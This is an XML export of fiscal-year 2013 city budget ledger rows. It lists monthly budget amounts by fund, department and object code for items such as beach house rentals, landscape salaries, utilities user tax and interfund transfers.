<row _id="3871"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
<row _id="3872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-650000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-650000.0</total></row>
<row _id="3873"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>95140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>951</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96091.0</total></row>
<row _id="3874"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>46002.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46002.0</total></row>
<row _id="3875"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="3876"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="3877"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>783.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>783.0</total></row>
<row _id="3878"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>540.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="3879"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="3880"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3881"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>65405.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-10668</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>54737.0</total></row>
<row _id="3882"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>96000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96000.0</total></row>
<row _id="3883"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>408490.0</object><object_description>RESIDENTIAL REPORT MONITORING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11000.0</total></row>
<row _id="3884"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408550.0</object><object_description>NO NET NEW TRIPS TOOLKIT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-388860.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-154220.0</march><april>0</april><may>0</may><june>0.0</june><total>-543080.0</total></row>
<row _id="3885"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5375.0</july><august>0</august><september>0.0</september><october>2741.0</october><november>0</november><december>0</december><january>0.0</january><february>81</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8197.0</total></row>
<row _id="3886"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>58016.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>58016.0</total></row>
<row _id="3887"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>403110.0</object><object_description>TDA ARTICLE III</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-48000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-48000.0</total></row>
<row _id="3888"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3273.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>33</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3306.0</total></row>
<row _id="3889"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1044.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1044.0</total></row>
<row _id="3890"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>255.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>255.0</total></row>
<row _id="3891"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>32000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
<row _id="3892"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="3893"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>726.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="3894"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39585.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>396</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39981.0</total></row>
<row _id="3895"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4463.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4463.0</total></row>
<row _id="3896"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>173643.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>173643.0</total></row>
<row _id="3897"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>45040.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45040.0</total></row>
<row _id="3898"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2315.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2315.0</total></row>
<row _id="3899"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="3900"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1114488.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>11145</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1125633.0</total></row>
<row _id="3901"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>33024.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33024.0</total></row>
<row _id="3902"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2601.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2601.0</total></row>
<row _id="3903"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>408580.0</object><object_description>ALARM REGISTRATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-151200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-151200.0</total></row>
<row _id="3904"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS TO 01-GLOW, PLGRND PRTNR</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="3905"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS FROM 04-GLOW, PLGRND PRT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-75000.0</total></row>
<row _id="3906"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT WISE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>596000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>596000.0</total></row>
<row _id="3907"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>44350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44350.0</total></row>
<row _id="3908"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-40000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="3909"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400140.0</object><object_description>UTILITIES USERS TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-31363000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31363000.0</total></row>
<row _id="3910"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400350.0</object><object_description>STATUATORY PASS-THROUGHS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-5792720.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3993083</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1799637.0</total></row>
<row _id="3911"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404660.0</object><object_description>LIBRARY BOND TAX OVERRIDE</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-1534980.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1534980.0</total></row>
<row _id="3912"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405590.0</object><object_description>CABLE FRANCHISE FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-1043000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1043000.0</total></row>
<row _id="3913"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>404650.0</object><object_description>INTEREST-CIVIC PKG STR BONDS</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>200</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3914"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="3915"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579005.0</object><object_description>DISCRET-RESIDENT SURVEY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="3916"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410160.0</object><object_description>BLOCK PARTIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-570.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-570.0</total></row>
<row _id="3917"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>404900.0</object><object_description>TMP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-446167.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-446167.0</total></row>
